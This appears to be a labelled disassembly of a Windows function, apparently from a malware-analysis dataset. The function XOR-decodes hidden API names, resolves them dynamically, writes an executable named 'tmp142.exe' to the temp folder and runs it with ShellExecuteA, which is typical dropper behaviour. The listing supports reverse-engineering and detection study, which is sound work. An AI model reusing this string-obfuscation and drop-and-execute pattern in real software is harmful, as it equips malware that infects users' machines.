Function at 0x402630
Capabilities:
Create process on windows
Encode data using xor
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x4184bb
mov eax, dword fs:[0]
push eax
sub esp, 0x2ac
mov eax, dword [0x41e184]
xor eax, esp
mov dword [esp + 0x2a8], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x41e184]
xor eax, esp
push eax
lea eax, [esp + 0x2c0]
mov dword fs:[0], eax
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push str.ifvkck___o_a
call edi
mov ebp, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.ifvkck___o_a
push 0x420100
mov esi, eax
call ebp
cmp esi, 0x104
jae 0x4026b5
xor cl, cl
test esi, esi
jbe 0x4026b5
xor eax, eax
lea esp, [esp]
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x4026a0
mov ebx, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push 0x420100
call ebx
push str.qkaij4:ng_
mov dword [esp + 0x18], eax
call edi
push str.qkaij4:ng_
push 0x420100
mov esi, eax
call ebp
cmp esi, 0x104
jae 0x402705
xor cl, cl
test esi, esi
jbe 0x402705
xor eax, eax
jmp 0x4026f0
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x4026f0
push 0x420100
call ebx
push str.EfpHiceoCmcjcuP
mov dword [esp + 0x1c], eax
call edi
push str.EfpHiceoCmcjcuP
push 0x420100
mov esi, eax
call ebp
cmp esi, 0x104
jae 0x40274a
xor cl, cl
test esi, esi
jbe 0x40274a
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402735
mov ebx, dword [esp + 0x14]
push 0x420100
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.EfpHiceoMeakAqwR
mov dword [0x4200f4], eax
call edi
push str.EfpHiceoMeakAqwR
push 0x420100
mov esi, eax
call ebp
cmp esi, 0x104
jae 0x402799
xor cl, cl
test esi, esi
jbe 0x402799
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402784
push 0x420100
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
call ebx
push str.QkaijBplixhO
mov dword [0x420308], eax
call edi
push str.QkaijBplixhO
push 0x420100
mov esi, eax
call ebp
cmp esi, 0x104
jae 0x4027e6
xor cl, cl
test esi, esi
jbe 0x4027e6
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x4027d1
mov eax, dword [esp + 0x18]
push 0x420100
push eax
call ebx
lea ecx, [esp + 0xac]
push ecx
push 0x104
mov dword [0x42030c], eax
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push str.tmp142.exe
lea edx, [esp + 0xb0]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x104
lea eax, [esp + 0x1b8]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [esp + 0x1b4]
push 0x41b5a4
push ecx
call fcn.00407620
add esp, 8
lea edx, [esp + 0xac]
mov edi, eax
push edx
lea eax, [esp + 0x20]
push eax
call fcn.00403b00
lea esi, [esp + 0x28]
mov dword [esp + 0x2c8], 0
call fcn.00404d50
test eax, eax
jne 0x40289e
mov ecx, dword [esp + 0x1c]
mov ecx, dword [ecx + 4]
mov eax, dword [esp + ecx + 0x24]
lea ecx, [esp + ecx + 0x1c]
or eax, 2
cmp dword [ecx + 0x28], 0
jne 0x40288e
or eax, 4
and eax, 0x17
test dword [ecx + 0xc], eax
mov dword [ecx + 8], eax
je 0x40289e
call fcn.004023b0
lea edx, [esp + 0xac]
push 0x41b5a8
push edx
call fcn.00407620
push 2
push 0
push edi
mov ebx, eax
call fcn.00407155
add esp, 0x14
push edi
call fcn.004074ee
mov esi, eax
add esp, 4
push esi
call fcn.00406a8d
add esp, 4
push 0
push 0
push edi
mov ebp, eax
call fcn.00407155
add esp, 0xc
push edi
push 1
push esi
push ebp
call fcn.00406dec
push edi
call fcn.004077a3
add esp, 0x14
push ebx
push 1
push esi
push ebp
call fcn.004069bc
push ebx
call fcn.004077a3
add esp, 0x14
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
push 0
push 0
lea eax, [esp + 0xb8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x78]
mov dword [esp + 0x2c8], 0xffffffff
call fcn.00403c20
lea ecx, [esp + 0x78]
push ecx
mov dword [esp + 0x7c], vtable.std::ios_base.0
call fcn.004063e2
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x2c0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x2a8]
xor ecx, esp
call fcn.004066c5
add esp, 0x2b8
ret